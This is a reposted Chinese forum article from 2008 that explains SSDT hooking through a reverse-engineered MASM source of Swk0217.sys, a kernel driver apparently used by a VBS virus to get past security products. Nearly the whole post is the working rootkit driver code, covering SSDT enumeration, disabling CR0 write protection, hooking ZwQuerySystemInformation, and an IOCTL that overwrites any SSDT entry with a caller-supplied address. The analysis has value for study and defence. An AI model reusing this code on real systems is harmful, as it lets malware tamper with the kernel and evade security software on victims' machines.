• RootKit 应用之[二] SSDT hook


    标 题: RootKit 应用之[二] SSDT hook
    作 者: combojiang
    时 间: 2008-01-12,23:00
    链 接: http://bbs.pediy.com/showthread.php?t=58199

    哈,好大一场雪啊,2008年的第一场雪,比以往来得早些。外面的雪在下,透过书房的窗,欣赏着外面的雪和过往的车辆,欣赏之余,便有了想写点东西的冲动。于是便有了本篇。


    谈到ssdt hook,先前有堕落天才的一篇文章《http://bbs1.pediy.com/showthread.php?p=285856#poststop"]SSDT Hook的妙用-对抗ring0 inline hook
    》大家如果对基本概念不了解的话,可以看看这篇文章。另外,有一篇博客上也绘声绘色的描述了它。简单说说SSDT

    今天我们透过一个实例看看它的应用,这个实例来源于sudami前面发出的一篇文章
    一VBS病毒过IS和微点了,无语...,夜深人静,我便把里面的Swk0217.sys逆向来看,写得很不错。

    该病毒是vbs调用驱动完成的。swk0217d的主要功能是:

    1。获取ssdt函数个数
    2。获取ssdt函数表中的所有函数
    3。hook ZwQuerySystemInformation
    4
    。unhook ZwQuerySystemInformation
    5
    。根据用户给定的函数地址和ssdt表中的索引,修改ssdt表。

    注:
    1)其中在hook ZwQuerySystemInformation执行时,首先通过ZwQuerySystemInformation找出ntosknrl.exe 模块的内存加载位置,然后通过ntosknrl.exe的导出表找出函数NtQuerySystemInformation的地址。然后hook ZwQuerySystemInformation。各位看官,作者的主要目的是防止SSDT中该函数被挂钩,因此作者在这里做了恢复.病毒作者要使用这个函数,但是害怕这个函数已经被别人做了手脚。

    2)unhook ZwQuerySystemInformation时,作者使用完该函数后又恢复了ssdt原有的状态。


    .386
    .model flat,stdcall
    option casemap:none


    include w2k"ntstatus.inc
    include w2k"ntddk.inc

    include w2k"ntoskrnl.inc
    includelib C:"RadASM"masm32"lib"w2k"ntoskrnl.lib
    include Swk0207.inc

    .data
    unk_10B80 db  4Eh ; N
              db  0E6h  ; ?
              db  40h  ; @
              db  0BBh  ; ?
    OldSSDTValueOfZwQuerySystemInformation dd 0

    .code
    ;              6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0   int3  push 24h
    FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h

    ;***********************************************************************************************
    ; ZwQuerySystemInformation
    获取ntoskrnl.exe的内存加载地址
    ;***********************************************************************************************

    ;typedef struct _SYSTEM_MODULE_INFORMATION  // Information Class 11
    ;{
    ;    ULONG  Reserved[2];  +0
    ;    PVOID  Base;         +08h
    ;    ULONG  Size;         +0ch
    ;    ULONG  Flags;        +10h
    ;    USHORT Index;        +14h
    ;    USHORT Unknown;      +16h
    ;    USHORT LoadCount;    +18h
    ;    USHORT ModuleNameOffset; +1Ah
    ;    CHAR   ImageName[256];   +1Ch
    ;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

    ;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) 
    ;                  ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, 
    ;                    IN OUT PVOID SystemInformation, 
    ;                    IN ULONG SystemInformationLength, 
    ;                    OUT PULONG ReturnLength OPTIONAL );

    ;typedef struct _tagSysModuleList {
    ;    ULONG ulCount;
    ;    SYSTEM_MODULE_INFORMATION smi[1];
    ;} SYSMODULELIST, *PSYSMODULELIST;

    ;
    用法如下:
    ;s = NtQuerySystemInformation( SystemModuleInformation, pRet,
    ;sizeof( SYSMODULELIST ), &nRetSize );

      xor  ebx, ebx
      mov  [ebp-24h], ebx
      mov  [ebp-4], ebx
      
      lea  eax, [ebp-1Ch] 
      push  eax          ;ReturnLength
      push  ebx          ;SystemInformationLength = 0
      lea  eax, [ebp-20h]   
      push  eax          ;SystemInformation
      push  0Bh          ;SystemModuleInformation,
    遍历模块
      mov  esi, ZwQuerySystemInformation
      call  esi ; ZwQuerySystemInformation ,
    第一次调用得到需要的缓冲区长度
      
      mov  [ebp-28h], eax
      cmp  eax, 0C0000004h
      jnz  ERRORRET
      
      push  206B6444h ;   ' kdD'
    标签
      push  dword ptr [ebp-1Ch] ;申请的长度
      push  ebx                 ;NonPagedPool
      call  ExAllocatePoolWithTag
      mov  edi, eax
      mov  [ebp-30h], edi   ;
    保留返回值
      
      cmp  edi, ebx        ;判断返回值是否为空
      jnz  NextStep
      or  dword ptr [ebp-4], 0FFFFFFFFh
      xor  eax, eax
      jmp  ErrAllocMem
      
    NextStep:
      lea  eax, [ebp-34h]          ;ReturnLength
      push  eax
      push  dword ptr [ebp-1Ch] ;SystemInformationLength
      push  edi                 ;SystemInformation
      push  0Bh                 ;SystemModuleInformation
      call  esi                 ; ZwQuerySystemInformation
      mov  [ebp-28h], eax
      
      cmp  eax, ebx
      jl  ReleaseMemory
      
      mov  eax, [edi]
      mov  [ebp-1Ch], eax  ;
    保留ZwQuerySystemInformation返回的SYSTEM_MODULE_INFORMATION元素个数
      lea  esi, [edi+4]  
      mov  [ebp-2Ch], esi  ;
    保留返回的SYSTEM_MODULE_INFORMATION数组首地址
      mov  [ebp-20h], ebx  ;计数变量清零
      
    FORLOOP:
      mov  eax, [ebp-1Ch] ;开始for循环
      cmp  [ebp-20h], eax
      jnb  ReleaseMemory
      push  offset FunctionArray
      
      ; 
    例如: ImageName: windows"system32"ndis.sys, 那么 ModuleNameOffset 就是 0x11  
      movzx  eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,指向名字的偏移
      lea  eax, [eax+esi+1Ch]  ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset
      push  eax   ;
    不包含路径的名字
      call  _stricmp
      pop  ecx             ;
    出栈
      pop  ecx
      test  eax, eax
      jnz  ContinueLoop
      mov  eax, [esi+8]    ;
    返回SYSTEM_MODULE_INFORMATION.Base
      mov  [ebp-24h], eax  ;返回值保存在[ebp-24h]单元
      
    ReleaseMemory:
      push  edi
      call  ExFreePool
      jmp      ERRORRET
      
    ContinueLoop:
      inc  dword ptr [ebp-20h] ;
    循环变量递增
      add  esi, 11Ch           ;取下一个SYSTEM_MODULE_INFORMATION类型元素
      mov  [ebp-2Ch], esi      ;暂存当前的SYSTEM_MODULE_INFORMATION元素
      jmp  FORLOOP


    SehFunction     proc near               
        mov     esp, [ebp-18h]
    ERRORRET::                                                               
        or      dword ptr [ebp-4], 0FFFFFFFFh
        mov     eax, [ebp-24h]
    ErrAllocMem::                             
        ret
    SehFunction    endp


    ;********************************************************************************************
    相当于GetProcessAddress的功能, hModule是指ntoskrnl.exe模块,查找该PE导出表,
    ; 找出pFunctionName的函数地址.
    ; 工作原理: 遍历导出表中的AddressOfFunctions,每取出一个函数地址,都根据其在AddressOfFunctions中的
    ;           索引,遍历整个的AddressOfNames表和AddressOfNameOrdinals表,找出序号跟AddressOfFunctions
    ;           索引相匹配的函数名,比对函数名和输入参数2是否相同,相同则从AddressOfFunctions中返回当前函数
    ;           的地址,不同则继续找...
    ;********************************************************************************************
    GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword

      LOCAL AddressOfNameOrdinals:dword;
    函数名序号表
      LOCAL AddressOfNames:dword       ;函数名地址表
      LOCAL OutputTable:dword          ;导出表地址
      LOCAL AddressOfFunctions:dword   ;指向导出函数地址表中的指针
      LOCAL pFunctionName:dword        ;函数名
      LOCAL i:dword                    ;循环变量
      LOCAL CurAddressOfNameOrdinals:dword ;当前函数名序号
      LOCAL CurAddressOfNames:dword        ;当前的函数名地址
      LOCAL nIndex:dword                   ;循环变量
      LOCAL myFoundOutFunctionName:dword   ;我们从函数名地址表中找出的函数名指针
      LOCAL InputFunctionName:dword         ;输入的函数名指针,指向参数2
      LOCAL SecondCharacterOfFunctionName:byte
      LOCAL FirstCharacterOfFunctionName:byte
      
      mov  edx, hModule
      mov  eax, [edx+3Ch]
      add  eax, edx           ; 
    指向PEHeader
      cmp  word ptr [edx],  5A4Dh ; 'MZ'
      jnz  Quit
      cmp  dword ptr [eax], 4550h ;'PE'
      jnz  Quit
      mov  eax, [eax+78h]
      add  eax, edx          ;
    指向导出表
      mov  OutputTable, eax
      
      mov  edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames 
      add  edi, edx
      mov  AddressOfNames, edi
      
      mov  esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
      add  esi, edx
      mov  AddressOfFunctions, esi
      
      mov  ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
      add  ecx, edx
      mov  AddressOfNameOrdinals, ecx
      
      and  nIndex, 0
      mov  edx, pFunctionName
      
    StartSearch:
      mov  ebx, nIndex
      cmp  ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions
      jnb  Quit
      
      cmp  dword ptr [esi], 0 ;
    判断AddressOfFunctions中第一个函数地址是否为空
      jz  NextAddressOfFunction          ;如果为空,就取IMAGE_EXPORT_DIRECTORY.AddressOfFunctions表中的下一个函数
      
      mov  CurAddressOfNames, edi
      mov  CurAddressOfNameOrdinals, ecx
      and  i, 0
      
    StartFindFunctionFromAddressOfNames:
      mov  ebx, i
      cmp  ebx, [eax+18h]   ;IMAGE_EXPORT_DIRECTORY.NumberOfNames 
      jnb  OutOfRange
      mov  ebx, CurAddressOfNameOrdinals
      movzx  ebx, word ptr [ebx]
      cmp  ebx, nIndex      ;
    判断从AddressOfFunctions得到的序号,跟AddressOfNameOrdinals得到序号是否一致
      jnz  NextAddressOfNameOrdinals
      mov  edx, CurAddressOfNames
      mov  edx, [edx]
      add  edx, hModule
      mov  pFunctionName, edx   ;
    取出函数名
      
    OutOfRange:
      test  edx, edx        ;
    判断是否空
      jz  ContinueWork
      
      mov  myFoundOutFunctionName, edx    ;
    暂存函数名
      mov  edx, FunctionName
      mov  InputFunctionName, edx         ;
    暂存输入的函数名
      
    CompareFunctionName:
      mov  edx, InputFunctionName
      mov  dl, [edx]
      mov  FirstCharacterOfFunctionName, dl
      mov  ebx, myFoundOutFunctionName
      cmp  dl, [ebx]
      jnz  Different     ;
    不相同
      test dl, dl       ;判断InputFunctionName是否为空,如果为空,就返回函数地址表中的第一个
      jz  RetCurrentFunctionAddress
      
      mov  edx, InputFunctionName  ;
    比对函数名中的下一个字符
      mov  dl, [edx+1]
      mov  SecondCharacterOfFunctionName, dl
      cmp  dl, [ebx+1]
      jnz  Different
      
      add  InputFunctionName, 2
      add  myFoundOutFunctionName, 2
      test  dl, dl
      jnz   CompareFunctionName
      
    RetCurrentFunctionAddress:
      xor  edx, edx           ;edx = 0,
    表示找到对应的函数
      jmp  GetFunctionAddress
      
    NextAddressOfNameOrdinals:
      add  CurAddressOfNames, 4
      add  CurAddressOfNameOrdinals, 2
      inc  i
      jmp  StartFindFunctionFromAddressOfNames
      
    Different:
      sbb  edx, edx
      sbb  edx, 0FFFFFFFFh  ;edx = 1,
    表示没有找到对应的函数,继续找
      
    GetFunctionAddress:
      test  edx, edx
      jnz  ContinueWork
      
      mov  esi, [esi]
      add  esi, hModule
      mov  eax, esi      ;
    返回函数地址
      jmp  Founded
      
    ContinueWork:
      xor  edx, edx
      mov  pFunctionName, edx
      
    NextAddressOfFunction:
      add  esi, 4
      mov  AddressOfFunctions, esi
      inc  nIndex
      jmp  StartSearch
      
    Quit:
      xor  eax, eax  
    Founded:
      ret
    GetProcessFromNtoskrnl endp


    ;**************************************************************************
    给出一个索引值和一个函数地址,修改ssdt
    ;**************************************************************************
    HookSSDTByFunIndex proc Value:dword,Index:dword
      
      mov  ecx, Index
      mov  eax, KeServiceDescriptorTable
      cmp  ecx, [eax+8]  ;NumberOfService
      jb  @f
      xor  al, al
      jmp  Quit
      
    @@:
        ;
    去掉写保护
      push  eax
      mov  eax, cr0
      and  eax, 0FFFEFFFFh
      mov  cr0, eax
      pop  eax
      
      mov  eax, KeServiceDescriptorTable
      mov  eax, [eax]
      mov  edx, Value; Value
      lea  ecx, [eax+ecx*4] ; Target
      call  InterlockedExchange
      
      ;
    恢复写保护
      push  eax
      mov  eax, cr0
      or  eax, 10000h
      mov  cr0, eax
      pop  eax
      
    Quit:
      ret
    HookSSDTByFunIndex endp

    ;**************************************************************************
    ; hook ZwQuerySystemInfomation,
    替换为NtQuerySystemInformation ,返回值为原来的值
    ;**************************************************************************
    HookSSDT proc Value:dword,FunAddr:dword
      push  eax
      ;
    去掉写保护
      mov  eax, cr0
      and  eax, 0FFFEFFFFh
      mov  cr0, eax  
      pop  eax
      
      mov  ecx, KeServiceDescriptorTable
      mov  eax, FunAddr
      mov  eax, [eax+1] ;
    通过ZwQuerySystemInfomation得到ssdt中的index
      mov  ecx, [ecx]   ;ServiceTableBase
      mov  edx, Value   ; Value
      lea  ecx, [ecx+eax*4] ; Target
      call  InterlockedExchange
      mov  ecx, eax
      push  eax
      
      ;
    恢复写保护
      mov  eax, cr0
      or  eax, 10000h
      mov  cr0, eax
      
      pop  eax
      mov  eax, ecx
      ret
    HookSSDT endp


    SourceString wchar L(<""DosDevices""Swk0217"0>)


    swkUnLoad proc pDriverObject :dword
      LOCAL DestinationString:UNICODE_STRING

      push  ecx
      push  ecx
      push  offset SourceString ; SourceString
      lea  eax, DestinationString
      push  eax    ; DestinationString
      call  RtlInitUnicodeString
      lea  eax, DestinationString
      push  eax    ; SymbolicLinkName
      call  IoDeleteSymbolicLink
      mov  eax, pDriverObject 
      push  dword ptr [eax+4] ; DeviceObject
      call  IoDeleteDevice
      
      ret
    swkUnLoad endp

    aNtquerysystemi  db 'NtQuerySystemInformation',0

    DispatchFunction:
      push  esi               
      mov  esi, [esp+0Ch]   ;pIrp
      mov  eax, [esi+60h]   ;
    IRP.CurrentStackLocation
      
      and  dword ptr [esi+18h], 0 ;将IRP中的IoStatus置零,这个结构体见ntddk.inc
      and  dword ptr [esi+1Ch], 0
      
      cmp  byte ptr [eax],  0Eh  ;IO_STACK_LOCATION.MajorFunction 
      mov  edx, [esi+0Ch]       ;IRP.AssociatedIrp.SystemBuffer
      mov  ecx, [eax+8]         ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
      push  edi
      jnz  CreateAndClose
      mov  eax, [eax+0Ch]       ;IoControlCode
      cmp  eax, 83471060h       
      jz  GetSSDTNum           ;
    获取ssdt函数个数
      cmp  eax, 83471064h
      jz  GetSSDTFunction      ;
    获取ssdt函数表
      cmp  eax, 83471068h
      jz  HookZwQuerySystemInformation ;hook ZwQuerySystemInformation
      cmp  eax, 8347106Ch
      jz  RestoreHookSSDT      ;
    恢复前面hook的ZwQuerySystemInformation
      cmp  eax, 83471070h
      jz  ModifySSDTByFunIndex ;
    根据用户给定的函数地址和ssdt表中的索引,修改ssdt
      mov  dword ptr [esi+18h], 0C000000Dh  ;IoStatus
      jmp  CreateAndClose
      
    ModifySSDTByFunIndex:
      push  8
      pop  edi
      cmp  ecx, edi  ;
    判断InputBufferLength是否等于8
      jnz  CreateAndClose
      push  dword ptr [edx+4] ;SystemBuffer
    中第二个dword值,代表一个ssdt表中的索引
      push  dword ptr [edx]   ;;SystemBuffer中第一个dword值,代表一个给定的函数地址
      call  HookSSDTByFunIndex
      test  al, al
      jz  CreateAndClose
      mov  [esi+1Ch], edi
      jmp  CreateAndClose
      
    RestoreHookSSDT:  ;
    恢复ssdt
      mov  eax, OldSSDTValueOfZwQuerySystemInformation
      test  eax, eax
      jz  CreateAndClose
      mov  ecx, ZwQuerySystemInformation
      cmp  eax, ecx
      jz  HaveDone
      push  ecx
      push  eax
      call  HookSSDT
      
    HaveDone:
      and  OldSSDTValueOfZwQuerySystemInformation, 0
      jmp  CreateAndClose
      
    HookZwQuerySystemInformation:
      call  near ptr FunctionArray+0Eh  ;
    执行 push 24h,通过ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址
      test  eax, eax
      jz  CreateAndClose
      push  offset aNtquerysystemi     ; "NtQuerySystemInformation"
      push  eax
      call  GetProcessFromNtoskrnl
      mov  ecx, ZwQuerySystemInformation
      cmp  eax, ecx
      jz  CreateAndClose
      push  ecx
      push  eax
      call  HookSSDT
      mov  OldSSDTValueOfZwQuerySystemInformation, eax ;
    保存原ssdt表中函数地址
      jmp  CreateAndClose
      
    GetSSDTFunction:
      mov  eax, KeServiceDescriptorTable
      mov  edi, [eax+8] ;NumberOfService
      push  ebx
      mov  ebx, edi
      shl  ebx, 2       ;NumberOfService*4
      cmp  ecx, ebx     ;
    比较输入长度与NumberOfService*4,判断申请的缓冲区是否够
      pop  ebx
      jb  CreateAndClose
      xor  ecx, ecx
      test  edi, edi
      jbe  GetSSDTFunctionErr
      
    GetNextSSDTFunction:
      mov  eax, [eax]
      mov  eax, [eax+ecx*4]
      mov  [edx+ecx*4], eax
      mov  eax, KeServiceDescriptorTable
      inc  ecx
      cmp  ecx, [eax+8]
      jb  GetNextSSDTFunction
      
    GetSSDTFunctionErr:
      mov  eax, [eax+8]
      shl  eax, 2
      jmp  Quit
      
    GetSSDTNum:
      push  4
      pop  eax
      cmp  ecx, eax ;
    输入长度<4跳转
      jb  CreateAndClose
      mov  ecx, KeServiceDescriptorTable
      mov  ecx, [ecx+8] ;NumberOfService
      mov  [edx], ecx  ;edx
    指向IRP.AssociatedIrp.SystemBuffer
      
    Quit:
      mov  [esi+1Ch], eax
      
    CreateAndClose:
      mov  edi, [esi+18h] ;IoStatus
      xor  dl, dl
      mov  ecx, esi
      call  IofCompleteRequest
      mov  eax, edi
      pop  edi
      pop  esi
      ret


    wcharDeviceName wchar L(<""Device""Swk0217"0>)
    wcharSymbolicLink wchar L(<""DosDevices""Swk0217"0>)


    start proc DriverObject:dword
      LOCAL SymbolicLinkName:UNICODE_STRING
      LOCAL DestinationString:UNICODE_STRING
      LOCAL DeviceObject:dword
      
      and  DeviceObject, 0
      push  esi
      push  edi
      mov  edi, RtlInitUnicodeString
      push  offset wcharDeviceName ; SourceString
      lea  eax, DestinationString
      push  eax    ; DestinationString
      call  edi             ; RtlInitUnicodeString
      mov  esi, DriverObject
      lea  eax, DeviceObject
      push  eax    ; DeviceObject
      push  0    ; Exclusive
      push  0    ; DeviceCharacteristics
      push  598347h    ; DeviceType
      lea  eax, DestinationString
      push  eax    ; DeviceName
      push  0    ; DeviceExtensionSize
      push  esi    ; DriverObject
      call  IoCreateDevice
      test  eax, eax
      jl  @f
      push  offset wcharSymbolicLink ; SourceString
      lea  eax, SymbolicLinkName
      push  eax    ; DestinationString
      call  edi ; RtlInitUnicodeString
      lea  eax, DestinationString
      push  eax    ; DeviceName
      lea  eax, SymbolicLinkName
      push  eax    ; SymbolicLinkName
      call  IoCreateSymbolicLink
      mov  ecx, offset DispatchFunction
      mov  [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL
      mov  [esi+40h], ecx ;IRP_MJ_CLOSE
      mov  [esi+38h], ecx ;IRP_MJ_CREATE
      mov  dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad
      
    @@:
      pop  edi
      pop  esi
      ret
    start endp

    end start
     

  • 相关阅读:
    迷宫 填充法新思路(填充干扰路径)
    类模板使用说明
    thinkphp5项目--企业单车网站(二)
    thinkphp5项目--企业单车网站(一)
    thinkphp5项目--个人博客(八)
    PHP 二维数组去掉重复值并保持原结构
    PHP join() 函数
    PHP array_merge() 函数
    thinkphp5项目--个人博客(七)
    PHP str_replace() 和str_ireplace()函数
  • 原文地址:https://www.cnblogs.com/dflower/p/1572517.html
Copyright © 2020-2023  润新知